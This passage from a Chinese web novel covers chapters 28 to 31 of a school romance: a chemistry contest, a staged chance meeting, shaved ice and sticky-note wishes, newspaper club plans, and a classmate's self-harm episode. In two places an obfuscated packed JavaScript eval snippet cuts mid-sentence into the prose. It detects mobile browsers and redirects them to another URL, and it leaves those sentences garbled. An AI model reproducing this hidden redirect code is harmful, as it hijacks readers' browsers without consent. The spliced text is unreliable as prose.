可等她再睁开眼，谢玙不知何时往她这边挪了下，高大清瘦的身影瞬间将她笼罩在阴影里，半点太阳光都没透进来。 见她眼神含着雾气般，谢玙狭长的眼睛半眯着，说：“我挡下太阳。” 挡太阳吗…… 可……他整个人几乎都暴露在阳光里。 舒言心下一动，怎么会没意识到他是在给自己挡太阳呢。 她走到桌边，拿了两瓶矿泉水，沁着笑意递给他们。 “后面学生节的时候，欢迎你们过来玩。” 28. 第28章 社团招新那天报名的人很多，后面又集中进行了简单的面试，最后留下来的人只有十多个。 化学竞赛的日程急如星火，舒言变得更加忙碌起来，除了白天从早到晚的课程以外，晚自习前还要抽出时间去参加竞赛的赛前集训。 很快就来到省赛这天，这次考试的地点是在南港的另一所重点高中。 学校统一安排了大巴车送他们出去参赛。 早上起得很早，车上又有一股难闻的汽油味，舒言有些反胃，从上车开始就一直闭着眼睛假寐。 夏艺看出来她不太舒服，从书包里拿出两颗薄荷糖塞到她手心里。 “吃颗薄荷糖吧，我每次坐车觉得不舒服的时候都会吃一颗。” 舒言恹恹地睁开眼睛，说了句谢谢。 她拿起一颗糖撕开绿色的包装，塞进了嘴里，薄荷糖清凉的口感蔓延在整个口腔，稍微缓解了生理上的不适。 一个小时的车程让人有些昏昏欲睡，下车前带队老师把准考证挨个发给他们，并且再次强调考完后要统一集合回学校，不能偷偷溜了。 大巴车停在南港一中的校门口，这里聚集了整个省城初赛的佼佼者。 进了校门后，由南港一中的老师领着他们进入考场。 考场设在学校的大型会议室里，他们到的时候里面已经有人落座。 这次的座位安排是各个学校随机打乱了的，坐在舒言周围的都是她不认识的人。 考试时间仍然是两个小时，试卷的页数和初赛一样都是8页，题型，题量稍微有所调整。 漫长的考试时间里，会议室一直静悄悄的，只有试卷翻动，圆珠笔划过纸面的声音。 尽力而为是舒言给自己设下的考试准则，只要努力过了就不会有遗憾。 她的字迹娟秀工整，两个小时下来。将答题卡写得满满当当的。 当考场再次响起铃声的时候，就标志着考试的结束。 舒言安静坐在考场等待监考老师来收卷。 出考场后，她一眼就看到夏艺，陈质还有李嘉的身影。 舒言走过去和他们汇合。 她和夏艺并排走着，陈质则是和李嘉一起走在前面。 夏艺拉着书包带子问她：“感觉发挥得怎么样？” 舒言如实回答了自己的感受，“应该还可以，基本都做出来了。” 夏艺往前蹦了一步，想踩住自己的影子，“我也觉得还行。” 从学校那几个高大的榕树下经过的时候，她张开双臂大口呼吸着新鲜空气。 “舒言，你知道吗，我真的好喜欢大自然的味道。” “每次伸出手拥抱它的时候，我才能感觉到自己真正活着，所以我特别喜欢春天和夏天。” 舒言能明白她说的那种感觉，因为她也同样喜欢着春天和夏天。 南港中学的春天总是被各色的鲜花装饰，而到了夏天，放眼望去都是一片绿色的浓荫，当风吹过的时候，那片香樟林宛若长了皱纹的大海。 等所有人都回到大巴车以后，他们终于踏上返校的路程。 车窗外不断闪过陌生的建筑物，一个小时后，终于回到他们熟悉的地方。 大巴车开进了学校，打算把他们送到宿舍楼下。 通往宿舍的那条公路会经过学校最大的一个操场。 这个时间点一般有很多学生在打球。 刚靠近操场附近，就听见球场上传来一群少年的欢呼声。 舒言不经意间往车窗外一瞥，发现那件熟悉的红色球服正穿梭在篮球场上。 谢玙身姿矫健地从别人手中截过球，上前迈了几步，又躲过对手的拦截，顺利将球投进了球框。 篮球啪的一声落地又迅速弹起。 球场上响起一阵嬉闹的口哨声，夹杂着男生们的起哄声。 “好球！”看见这一幕时，后排有人发出一声惊叹。 车内所有人的目光都被篮球场上的人吸引了过去。 好几个男生甚至直接挤在窗边往球场眺望，当有人再次进球的时候，还会自发地鼓掌欢呼。 看着眼前这一幕，带队的老师笑着说了句：“还是年轻好啊。” 他有些感慨地说：“大家一定要珍惜高中时光，就拿打篮球来说，以后你可能还会打很多次球，却不一定再有和高中球场上的朋友打球的机会。” 大巴车渐渐驶离操场周围，很快就停在了宿舍楼下。 舒言和同学一起回教室收拾东西。 教室里除了他们几个参加竞赛的再无他人。 拿完东西后，夏艺和她挥手说了再见。 教室里很快就变得空荡荡的。 舒言背着书包往报亭的地方走，打算去买本英语杂志。 买完转身发现小卖部还开着，果断过去买了两瓶矿泉水。 她把英语杂志放进书包里，想了想又把水塞了进去。 她知道从小卖部沿着一条小路很快就可以到篮球场。 舒言没直接过去，她沿着球场外面的围栏走了一圈，该说不说她的运气还挺好。 没等多久他们就没继续打球的意思了，球场上的人开始慢慢离开。 三三两两，成群结队。 舒言的视线一直在留意谢玙所在的方向。 她看到他弯腰拧开水龙头，用水洗了把脸，又侧过头在和何昭说些什么。 这段时间她一直很忙，上一次见到他还是开学那会儿。 舒言再没有半点犹豫地往操场走去，为了避免太过刻意，她还把mp3拿出来了，又戴上了耳机，装作悠闲漫步的样子。 余光里谢玙和何昭的身影正在往她的方向走来，舒言低着头假装没看到他们，继续往前走。 还没走几步，果然如她设想的那般，他们很快就发现了自己。 何昭很大声地朝她喊：“咦，舒言同学，你怎么还在学校？” “嗯？”舒言像是才发现他们一样，反应慢半拍地摘掉耳机，眼睛里透着点茫然，“不好意思，刚才戴着耳机没听见你们说话。” 何昭反应过来她刚才应该是戴着耳机在听歌，见她身上背着书包，又问：“你怎么还没回家？” 一旁的谢玙目光也探了过来。 舒言解释说自己参加竞赛才回来，想在学校随便逛逛。 听了她的解释，何昭也没怀疑什么，“哦哦，这样啊。” 舒言手指了指谢玙手上的篮球，明知故问道：“你们刚打完球吗？” 谢玙轻嗯了一声算作回应，刚运动过的脸有点红，头发也湿哒哒的贴在额头上。 “对了。” 舒言像是突然想起什么似的把书包取了下来，说：“你们刚打完球肯定很渴吧，今天早上参加竞赛发的水我还没喝，背着怪沉的。” 她拿出从小卖部买的那两瓶水递给他们，“你们正好帮我分担一下吧。” 何昭想也没想地接了过来，“哇，谢谢舒言同学，我和阿玙正好打算去小卖部买呢。” 说完立马拧开瓶盖，直接喝掉了大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243996|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半瓶。 剩下那瓶水过了会儿才被谢玙接过，他垂眸看她，说：“谢了。” 他仰头喝水的动作要比何昭斯文一些，但显然确实是渴了，差不多喝掉了一半。 喝了水后，何昭问她：“我们打算回教室了，你还要继续逛会儿吗？” 被问到的舒言一时有些心虚，心想她哪里是来逛操场的啊，她本来就是来假装偶遇他们的。 可她自然是不能表现出来的。 舒言仰起干净秀气的小脸，“其实我也……逛了蛮久了，腿挺酸的，我还是和你们一起回去吧。” 谢玙视线往下看了几秒，又重新落回她的脸上，下巴往出口的地方扬了扬，“那一起走吧。” 末了，又歪了下头，看向她身后明显有些分量的书包问：“重吗？” 舒言呼吸颤了下，意识到他应该是想帮自己拿书包。 但她有点不好意思。 也就小学一二年级的时候，陈岚和舒庆坤帮自己背过书包，除此之外再没有其他人。 何昭也注意到她书包貌似挺重的，他打趣着说：“没事，你就让阿玙帮你背，他浑身上下都是劲。” 说完还主动把谢玙手上的篮球接了过来。 “给包给我吧。” 谢玙朝她伸出了手。 舒言一脸纠结地扭头看了看身后的书包，头一次在心里怀疑自己为什么要背这么多书回家…… 她咬了下唇，有点不好意思地说：“就是我的书包可能有点重，你……” 其实她想说的是你刚打完球，再替我背包会不会很累。 谢玙像是觉得好笑，微微俯了点身，直视着她的眼睛，说：“你是不是觉得我刚打完球，怕我没力气了，背不动你的包……” 被他猜到自己内心的想法，舒言有点尴尬地别开了眼。 可下一秒，舒言直接感觉肩上一轻。 是谢玙绕到她身后取下了她的书包。 “放心，反正——”他故意停顿了下，说：“我浑身上下都是劲。” 说完还提着她的书包颠了两下，仿佛在证明自己一样。 虽然他可能说的是事实，但舒言还是没由的耳朵发烫。 她说了句谢谢。 何昭抱着球径直走在前面，而谢玙单肩背着她的书包跟在后面，舒言默默走在他旁边，可视线总是若有似无地从他身上飘过。 明明自己的书包还挺大的吧，怎么一放到他身上就显得像小学生背的。 还有种说不出来的喜感。 舒言悄悄抿唇笑了下。 爬完楼梯，又沿着石板路走了几分钟后，他们来到了教学楼下。 谢玙偏过头问她：“你在这等我们还是……” 舒言还没来得及回答，何昭就抢先说道：“等我们，等我们，今天这么热，待会一起去学校门口吃刨冰吧。” 谢玙的目光还停留在她身后，垂首询问她的想法，“你想去吗？” 他唇边扯出清淡的笑意，“那家刨冰确实还挺好吃的。” 这周的作业舒言基本都完成了。 所以偶尔的放纵一下应该也没有关系吧。 说不定这是唯一一次能和他一起吃刨冰的机会。 舒言有些苦涩地想着。 打定主意后，她说：“那我在这等你们。” 谢玙：“行。” 他把书包取下来放在一旁的长椅上。 “你先坐下歇会儿，我们很快回来。” 舒言说好。 29. 第29章 金秋时节，空气里弥散着若有似无的桂花香气。 舒言坐在长椅上看了会英语杂志。 不到十分钟，谢玙和何昭重新换上干净的夏季校服回来了。 舒言正要拿起书包背上，一只冷白修长的手越过她先一步提了起来。 紧接着一个黑色的书包被塞入她的怀里，“你背我这个。” 舒言呆愣楞地看着臂弯里的黑色书包。 ……这是谢玙的书包。 软塌塌的陷在她怀里，里面像是没装什么东西。 舒言也没拒绝，不过并没有把他的包背上，一直维持抱着的姿势。 谢玙把她的书包背在身后，扭头见她还抱着自己的书包，又伸手把包拿了过来。 “你转下身。” 舒言下意识地按他说的照做，然后又听见他的声音在头顶响起。 “来，把手抬一下。” 舒言明白过来他是要帮自己把包背上，刚想说不用了，她自己来就行。 就又听见他在身后催促：“嗯？抬一下好吗。” 舒言略显僵硬地把手打开点弧度。 书包轻飘飘地落在了她的肩上，几乎感受不到重量。 她伸手摸了摸书包的肩带，鼻尖灵敏地嗅到了他身上那股清冽好闻的味道，不过是从书包上飘过来的。 这种感觉就好像是……他从身后抱住了她一样。 意识到自己明显十分逾距的想法，舒言掐了下手心，说服自己消除脑海里奇奇怪怪的东西。 给她调整好以后，谢玙满意地收回手，“好了，走吧。” “快点快点。”何昭已经等得不耐烦了。 他忍不住吐槽了两句，“怎么背个书包都这么磨磨唧唧的，又不是在穿衣服。” “……” 舒言有点尴尬地抓了下校裤。 谢玙也不太自然地抬手碰了下鼻子。 他们去的这家糖水铺据说以前是开在学校里面的，当时就特别受学生欢迎，后来教委不允许在学校里面开店，这才搬到了学校外面，但还是保留了在校内的店名，叫课间十分钟。 店面不算大，里面的装修是青春校园风，店里面还有一面专门用来给学生留言的墙，上面贴满了便利贴和照片，几乎半面墙都是。 经营这家糖水铺的是一对夫妻，大概三十多岁的样子。 看看他们进来后，老板娘很热情地招呼他们，问他们要吃什么。 何昭脱口而出：“我要一份菠萝刨冰，还要一份双皮奶。” 舒言对着菜单里刨冰那栏看了看，说：“我要一份芒果刨冰。” 谢玙则是要了份西瓜刨冰。 点单后，他们在里面找了张桌子坐下。 没一会儿，老板就把吃的送过来了。 笑呵呵的，“慢用啊。” 何昭迫不及待地用勺子舀了一口刨冰，像是整个人都被解救了一样，发出一声满足的惊叹，“太爽了，果然夏天还是得吃冰啊。” 舒言也吃了一口。 刨冰底下是一层细碎的冰，加入了果冻和多肉，上面铺满芒果酱，又淋了一圈糖浆。 吃进嘴里冰冰凉凉的，唇齿间又有芒果的香甜，很是解暑。 这会儿店里面就只有他们三个，老板也没啥事做，就来和他们搭话。 “你们三个是同学吧。” 何昭扭过头回他话，“是啊。” 老板笑了笑，意有所指地说：“一看你们感情就很好。” 说着，视线在舒言和谢玙身上交替停留了几秒，“我刚看这位小帅哥和小美女还互相给对方背书包呢。” 舒言：“……” 呼吸都轻了轻。 虽然知道老板也就是随口一说，但心里面难免会产生一些异样的情愫。 可抬眼看去，坐在她对面的那人却是一脸淡定地握着勺子在吃冰。 好似没听见老板的话一样。 舒言默然收回视线，低头搅着碗里的果酱，也假装没听见。 果然还是她想太多了。 只是背个书包而已。 说不定他帮很多女生都背过。 饶是何昭再迟钝，也听出来老板话里的深意，他拍拍谢玙的肩膀，很贴心地和老板解释：“哦，这个啊，其实是她的书包太重了，我哥们才帮忙背了下。” “老板你千万别误会，我们三个只是好朋友啦。” 说完还朝他们挑了下眉，像是在寻求他们的认同。 谢玙毫不客气地把他的手从肩上挪开，不知道是不是刚吃过冰的缘故，话里淬着股凉意，“快吃你的冰吧。” 说完不着痕迹地瞥了眼对面小姑娘毛茸茸的脑袋，伸手挡住烫红的耳根。 老板坐在一旁默默观察着他们，注意到这一幕后，只笑了笑没说话。 果然和他心里猜的八九不离十。 他这店开了快十年了，见过太多学生时代朦胧的感情了，不过有成的也有没成的。 老板娘拿了便利贴和笔放到他们桌上，“你们要是有想说的话或者愿望啥的，也可以在上面留言哦。” 她指了指对面那面墙，“这些都是你们学校的学生写的，贴不下的都被我们收起来了，全都好好保存着呢。” “等你们以后长大了回来，还可以来找找自己学生时代的留言，也算是一份纪念吧。” 像是想到什么有趣的事情，老板娘又笑着继续开口：“就暑假那会儿，你们前几届的一个学长和学姐还专门回我们这来找他们当年的留言呢。” “说起来也有意思，他们高中那会儿就经常在店里给对方留言，探讨哲学，宇宙，人生什么的，反正什么都聊，只是一直没在店里碰见过对方，但没想到后来两个人考上了同一个大学，还分别是当年的文理状元。这次暑假回来的时候，两个人已经在一起了，般配得很。” “不过说起来咱们这店里可是促成了不少缘分呢，你说是不是，老徐……” 老板娘回头看向老板。 老板拍了下大腿，咧嘴笑得开心，“是啊，好多你们学校的学生在一起后都专门回来感谢我们呢，说是当年读书那会儿就经常来我们店里吃刨冰，但不敢和对方表白，老是借着便利贴才敢写下自己的心意。” “所以你们吃完了也可以写一张，说不定多年后还能促成一道缘分呢。” 等老板说完后，何昭身体直接往老板的方向转了大半边，又看了看老板娘。 不可思议地说：“天哪，这种事情居然是真实存在的吗？” “怎么听着像电视剧里的情节一样。” 老板挑了下眉：“还能骗你们不成。” “这样的例子太多了，说都说不完……” 舒言虽然没吱声，但脑海里却一直在回放老板还有老板娘的话。 视线也一点一点地移向了那本便利贴。 谢玙察觉到她的举动，眼皮掀起朝她看了过来，眼底多了分小心的试探：“你想写？” 舒言点点头，清透瓷白的脸上挤出个笑，“就当留个纪念吧。” “许个愿什么的，说不定以后实现了。” 听见她要写，何昭也吵着要写。 不过还是先把便利贴递给了舒言，“你先写，我和阿玙待会再写。” 舒言接了 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何昭瘪了下嘴巴，“好吧，你们一个二个都有了秘密。” 他猛的一激灵，语出惊人：“难不成你俩都有喜欢的人了？” 舒言：“……” 空气仿佛都停滞了。 被人戳中了心事以后，她整个人都变得坐立难安起来。 却又不敢表现出一丝异样，生怕一不小心就被发现。 不过好在下一秒何昭又自顾自地说了起来：“不应该吧，你们俩一个这么爱学习，一个这么爱音乐，完全不像是有喜欢的人的样子。” 话音一落，谢玙撩起眼皮一言难尽地看向他。 而何昭却是会错了他的意思，还以为被自己说对了。 他拍了拍胸口，得意一笑，“我就说嘛，尤其是你，阿玙，你天天和我待在一起，我从来没见你对哪个女生好感过，怎么可能会有喜欢的人。” 闻言，舒言垂睫盯着自己手里的便利贴看，一时之间，不知道是该感到庆幸还是失落。 也不知道是庆幸多一点，还是失落多一点。 她实在坐不下去了，干脆站了起来，丢下句，“我先过去把便利贴贴上。” 谢玙欲言又止地看了她一眼，“好。” 随后也跟着站了起来。 舒言贴的时候还特意挡了一下。 墙上的便利贴有许愿考上某某大学的，还有很多祝福语，当然也有趁机给喜欢的人表白的。 舒言看见自己那张小小的便利贴很好地融入了密密麻麻的留言墙，不仔细去找的话，几乎很难发现。 贴完便利贴后，他们就离开了糖水铺。 糖水铺附近就是公交车站，他们过去的时候，舒言要坐的那路车正好来了。 她抿了下唇角，嗓音轻柔得跟风似的，“那我先走了。” 谢玙把书包递给她，神色温柔：“好，路上小心。” 何昭挥了挥手：“再见，舒言同学。” 舒言也笑着回了句再见，说完就转身上了车。 后排有空座位，舒言走过去坐了上去。 她把书包取下来抱在怀里，当她抬头往外面看时，发现车窗外早已看不见他们的身影。 其实便利贴上她没写什么愿望，她写的是一桩心事。 一桩被她藏在春天的心事。 可她从不敢给它浇水、施肥， 怕它趁机生根发芽。 只敢让它埋在土里。 30. 第30章 新的一周，校报社组织了一次见面会。 除了个别有事请假的成员，其他人都来了。 舒言和卢月给大家买了点吃的，提前分到了每个人座位上。 舒言作为社长还是例行先到前面说了几句，她看着下面一双双懵懂紧张的眼睛，微笑着说：“各位同学，学弟学妹们，大家好，我是高二3班的舒言，也是咱们校报社的社长。” “非常开心看到新学期有这么多新成员加入了我们，欢迎大家！今天我们聚在一起，主要是想让大家相互熟悉一下，大家不用感到拘谨，随心所欲就好。” “除此以外，今天还有一件重要的事情需要我们一起讨论，关于新学期第一期校报的印发事宜。” “大家桌上有校报社以前发行的校报，你们可以看一看，了解一下我们校报的风格。” “根据往年同学的反馈还有秦老师的建议，我认为这学期我们可以对校报的栏目重新划分，让它的内容变得更丰富一些。” “上学期我们的校报主要是分成了学生风采，名家经典还有娱乐趣事这几个板块，大家想想看有没有什么好的想法。” 舒言刚说完，大家就兴致冲冲地讨论起来。 没过一会儿，就有一个男生站了起来。 他长着一张精致的娃娃脸，皮肤很白，看上去是很乖的性格。 他挠了下脑袋，和大家打招呼：“学姐，各位同学，大家好，我叫秦颂，歌颂的颂。” “关于校报的栏目设计我有一点想法。” 舒言抬眼看向他，眼神鼓励他，“好的，学弟你说就行。” 秦颂点点头：“我想既然校报的阅读群体是学生，那么肯定是要为学生群体服务的。那学生需要什么呢？ 首先语文作文是让很多人头疼的，那我们不妨专门用一个栏目来给大家讲解作文到底要怎么写，并且给出优秀的范文。这个我相信对学姐来说肯定不是什么难事。” 卢月赞同地点点头，“确实说的挺有有道理，校报肯定是要发挥一定的功能的。” 对于这个板块，舒言其实也有想到，只是在思考要怎么把这个板块弄得更好。 她沉吟了几秒，“这个栏目我也是想设置的，我想的是每一期我们都给大家分享一些写作的干货，并且是结合具体的作文题目来讲解的，然后每期也会再给大家再留一个作文题目，鼓励大家踊跃投稿，在下期校报上择优发表，同时给予一定的稿费。” “除此之外，我觉得还有必要给大家分享一些比较好用的写作素材，供大家日常积累。你们觉得呢？” 秦颂听得眼睛都亮了，“对对对，学姐，我觉得你这个想法太好了。” 其他成员也纷纷点了点头，大家七嘴八舌的，又给出了一些不错的点子。 舒言拿笔把大家的建议都记了下来，“名家经典这个板块我觉得还是要保留，另外我觉得校报也不能办得太过于严肃，还是要有一定的趣味性。” 她垂睫思索，忽然灵光乍现，“我刚才突然有了一个主意，我觉得可以设置一个采访的栏目。在这个栏目里，我们可以去采访周围的老师或者学生，听听他们的故事，不管是关于学习，生活，还是兴趣爱好之类的都行，并且我们也欢迎大家给我们推荐采访的人物，大家觉得怎么样。” “哇，学姐，我觉得很有意思诶。” 这次开口说话的是一个学妹，叫程圆圆，长得特别可爱，眼睛特别大，说话的时候睫毛扑闪扑闪的。 舒言认出来这是招新那天问谢玙是不是他们社团的那个学妹，她在后面的面试中表现得很出色。 而此时程圆圆眼神专注地看着她，眼里写满了崇拜，舒言回赠了她一个微笑。 坐在前排的秦颂听完眼神激动不已，好半天才憋出来一句完整的话，“学姐，我同意你的想法，校报确实不能太过于严肃，毕竟在学校也不是只有学习嘛。” 他声音突然拔高，像是有了什么好的主意，“我们可以去采访校长，标题就叫体验校长的一天，还可以去采访年纪第一，标题可以取围观学霸的修仙日常……” 他一口气举出了好多例子，在大家听来都还挺有趣。 最后大家再次确认了一些细节，第一次见面会就圆满结束了。 离开会议室前，秦颂慌忙叫住了正打算走的舒言。 “学姐，你等一下。” 舒言礼貌回过头询问：“学弟，你是有什么问题吗？” 秦颂比她高了大半个头，他垂下眼帘，神色犹豫但还是鼓起勇气说：“舒言学姐，我初中和你是一个学校的。” 舒言倒也不惊讶，她初中学校在南港排名还算可以，每年都有不少学生考上南中。 见她反应不大，秦颂又赶紧说道：“我我我……我其实初中就知道学姐了，知道你初中就拿过两次全国作文大赛的一等奖，我最喜欢看学姐写的作文了，我也是因为学姐才努力考来南中的。” “我想对学姐说，学姐你真的超级优秀！我们那一届好多人都拿你当偶像。” 说完也不管舒言是什么反应，撒腿就跑了。 留在原地的舒言一时之间心情有些复杂，她从来没想过自己原来也是别人眼中的学习榜样，曾经给他们带去过奋斗的动力。 可现在呢…… 在高手如云的南中，她似乎也慢慢泯然于众人。 要是那些将她看作偶像的学弟学妹知道了，恐怕都会有些唏嘘吧。 可那又如何呢…… 舒言脸上露出一个释然的笑容。 未来的时间还很长，以后会怎样，谁又能提前预知。 不管前方迎接她的是鲜花还是荆棘，眼下她只想坚定不移地走好自己的路，至于其他的时间都会给出答案。 — 国庆返校后迎来了本学期的第一次月考。 舒言整体发挥得还不错。 不过眼下有件事情还蛮让她纠结的。 之前参加的化学竞赛结果出来了，她顺利拿了省一等奖，并且晋级了国赛。 而她现在纠结的就是这件事，如果她要去参加国赛，那么就注定要牺牲大半的时间去参加集训，留给她自己的时间只会越来越少。 不过周敏告诉他们，如果在国赛里面能够拿下金牌或者银牌，就有资格参加国内顶尖大学的自主招生，如果通过了的话，高考的时候学校可以降分录取。 他们的学长学姐好多都是通过自主招生进去了自己的梦中情校。 陈质托着下巴看她：“去啊，为什么不去？” “我们班其他入围的同学都要去，我也准备去的，你不一起吗？” 蔡妙妙在旁边附和：“言言，我也觉得是可以去的。” “这也是一次很好的机会嘛，就当锻炼一下自己。” 舒言当然明白他们说的有道理，只是她希望自己能有更多的时间考虑一下，去想清楚一些事情。 她想起上学期有一次月考后在天台，夏艺问他们有什么梦想，当时她说的是想考去远一点的地方。 可是多远才算远呢…… 也是这个时候舒言才意识到，她好像并没有想过以后到底要考到哪里去，或者是要考到哪个学校去。 正当她陷入沉思的时候，班上的数学课代表张子皓开始给他们发这次月考的数学答题卡。 月考成绩还没出来，不过舒言对了答案，不出意外的话，她这次数学应该能考到138左右。 她等了很久都没发到自己的答题卡，她想去问问，就看到张子皓径直朝她走来，一脸抱歉地说：“舒言，你的答案卡我没找到，可能是分到其他班去了，看后面有没有人来还给你吧。” 舒言了然地点头，说了句谢谢。 答题卡分错这种事情并不少见，想起之前有一次谢玙的语文答题卡不也错分到他们班了吗。 张子皓摆摆手，说：“没事。” 离开之前眼神却往夏艺的方向看了下，可最后还是什么都没说就走了。 舒言注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255758|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意到了这一幕，但是也没多想。 平时张子皓就挺喜欢来找夏艺的，两个人经常坐在一起做作业，有时候在外面也会看到他们走在一起。 下午四节课结束后，舒言和社团的成员一起去给各班送校报。 她负责的是高二年级的部分班级，送报纸进班的时候，又被一些同学拉着聊了几句，大家好像对这学期新加的人物采访板块很感兴趣，推荐了好多采访的人选。 其中就有……谢玙。 其实很多人都对他很好奇，但是并没有接近他的机会。 借着校报这个平台，他们也想趁机多了解一下他。 结束后，舒言去了一趟小卖部，晚上她打算吃个面包对付一下。 她刚回到教室坐下，就听见班上同学告诉自己，外面有人找她。 想到可能是校报社的学弟学妹，舒言赶紧放下笔走了出去。 只是在看清站在走廊上的是谁时，她还是在教室门口徘徊了几秒。 谢玙背着手逆光站着，身后是大片火烧似的晚霞，云诡波谲，瑰丽浪漫，像这个夏天无声的告别。 他素来清冷俊逸的五官染上一抹艳丽的色彩，额前稍长的清爽发丝耷拉着，一双标致的桃花眼惊人的漂亮。 舒言想起以前在书里看到的一句话，如果你觉得一个人长得很帅，那可能只是单纯欣赏他的颜值，但如果你开始觉得一个人的眼睛好看，并且情不自禁的对视时，那你很可能会爱上对方的全部。 爱上对方的全部。 不光是他的外表，还包括他的思想和灵魂。 一段时间没见到他，舒言脸上的表情多少有点拘谨，不过还是主动走近了些，仰起脸庞，微笑看他，“是你呀。” 被霞光笼罩的少女多了丝明媚和娇俏，谢玙像是也恍惚了几秒，才从身后拿出个什么东西递给她。 舒言的视线下移，看清他手上拿着的是什么时才明白过来，原来他是来还自己数学答题卡的。 她像是松了口气，又像是庆幸，“原来分到你们班去了啊。” 谢玙的眼眸在晚霞映衬下越发温柔，他说：“是的，这会儿才有时间来还给你。” 末了，又补充说：“你这次考得应该挺不错的。” “那就借你吉言啦。” 舒言把答题卡接了过来，杏眸弯了弯，说：“你知道吗？上学期有一次你的语文答题卡也分到我们班了……” 谢玙瞳孔微震，尝试在脑海里搜寻着相关的记忆。 可还没来得及想起什么，就又听见她说：“那次还是我拿去还给你的呢，只可惜那时候你不在班上。”舒言轻描淡写地说着。 “是吗？”谢玙扯了下唇，“那这不是说明我们还挺有缘。” 有缘吗？ 好像是挺巧的吧。 舒言点点头，“是啊，只是那个时候我们还算不上认识。” 她也只敢远远地看着他，从不敢将目光在他身上过多的停留。 “那现在呢？”谢玙目光灼灼地看着她。 “现在……”舒言掩去眼底的慌乱，她反复斟酌着字句，“现在我们是朋友。” 她鼓起勇气看向他：“不是吗……” 谢玙喉结微动，眼底有明晃晃的笑意，他又一次叫了她的名字。 “你知道上次在糖水铺我在便利贴上写的是什么吗？” 舒言呼吸一颤，好奇地问：“是什么？” 谢玙紧盯着她，声音有点哑，却还是一个字一个字的告诉她：“我写的是——希望我的……朋友能一直快乐。” 朋友两个字被他咬的格外重。 舒言浓密纤长的睫毛在脸上扫下淡淡阴影。 这个“朋友”是不是……也包括她呢。 像是看穿了她心里的想法，谢玙垂睫笑了下：“我们……当然也是。” 天边的云彩不知道何时变换了形状，像一颗剧烈跳动的鲜活心脏，可舒言什么都看不见，只剩心跳声在胸口如烟花般炸开。 31. 第31章 直到晚自习铃声响起前，舒言脑海里都在回放他那句话。 她嘴角翘起浅浅的弧度，晚风撩起她耳边的碎发，心情说不出来的好。 好像只要一见到他，哪怕说不上几句话，她心里的烦躁都会烟消云散。 陈质怔怔地看着她的样子，一脸懵逼地问：“舒言，你是买彩票中大奖了吗？” 舒言回过神来，“啊，我没有啊。” 陈质疑惑地撇了下嘴，“那为什么你这么高兴呢。” 舒言忙止住脸上的笑意，问：“我表现得有这么明显吗？” 陈质一本正经地说：“真的很明显。” 舒言愣了两秒，说：“那你就当我买彩票中奖了吧。” 陈质：“……” 摸不着头脑地说了句：“那行吧。” 今天晚上是化学晚自习，周敏一晚的时候评讲了这次的月考试卷，二晚就让他们自己做作业。 在教室转了一圈后，周敏把进入国赛的同学全都叫到了教室外面。 周敏笑着看他们，说：“怎么样，同学们你都要继续参加国赛吧。” 陈质的目光下意识地往舒言的方向看了一眼，见她没出声反驳，这才放下心来。 见大家都在点头，周敏一脸欣慰地笑了笑，“这对大家来说是一个很好的机会，发挥好了很可能就一脚踏进了北大、华大的门槛。” 周敏又给他们介绍，说学校聘请了专门的竞赛教练，教学经验很丰富，之前带领很多学生获得了金牌，教练会全力帮助他们在11月份的考试中取得好成绩。 回到座位后，陈质脸上藏不住的欣喜，他小声偏过头说：“以后我们就可以一起去竞赛班啦。” 舒言轻笑：“是的。” 她垂眸看着桌上的化学竞赛试卷，心里暗暗做了一个决定。 她想考到北沅去。 最好是能考到华大或者北大。 窗外是万籁俱寂的夜色，没有人知道天空究竟有多大，且让她放飞一个无人知晓的梦。 …… 二晚下课后，舒言看到张子皓过来叫夏艺出去。 喊了好几声，夏艺才朝他看了过来，沉默着没说话。 张子皓近乎恳求地看着她，听上去像是都快哭了，“夏艺，你出来一下可以吗？” 周围好多同学都不明所以地朝他们看了过来。 可张子皓一直固执地站在原地没动。 夏艺有些烦躁地叹了口气，从座位上站了起来，语气冷冰冰的，“出来吧。” 张子皓笑了笑，赶紧跟着她走了出去。 蔡妙妙转过身来，满脸迷惑：“这是怎么了？” 舒言蹙了下眉，“我也不太清楚。” 一旁的陈质似乎有些欲言又止，可想了想，还是什么都没说。 三晚的上课铃响起后，夏艺马上就回来了，只是明显看得出来她情绪不太高。 舒言从书包里拿出两颗糖，让蔡妙妙递给她。 夏艺回过头冲她勉强地笑了下。 三晚前半段时间教室都静悄悄的，可正当大家沉浸在学习中的时候，中间最后一排的位置突兀地传来了一阵的动静。 紧接着是桌子倒在地上的巨大声响。 几乎所有人都被吓了一跳，寻声看去时，只见坐在座位上的张子皓突然开始疯狂扇自己耳光，嘴里还念叨着：“是我不配，是我不配，是我不配……” 双眼瞪圆，跟疯魔了似的。 “张子皓……你怎么了？” 坐在他旁边的同学大着胆子问了句。 可这句话仿佛刺痛了他的神经，张子皓双眼越发猩红，手上的动作也更用力了，声音骤然拔高。 “我怎么了……啊啊啊，是我不配，是我不配，是我不配。”他嘴里不停重复着这句话，脸上全是红痕，嘴巴都被他扇出血了。 全班都被这一幕震惊住了，没人再敢出声。 还是坐在门口的同学去找了值班的老师来，才制止了张子皓自虐的行为。 张子皓脸上全是眼泪，发狠地咬着自己的下唇，手上一直在发力，想要摆脱其他人的桎梏。 值班老师显然也慌了神，一脸焦急地安抚着他：“同学，你先冷静一下，不要伤害自己。” 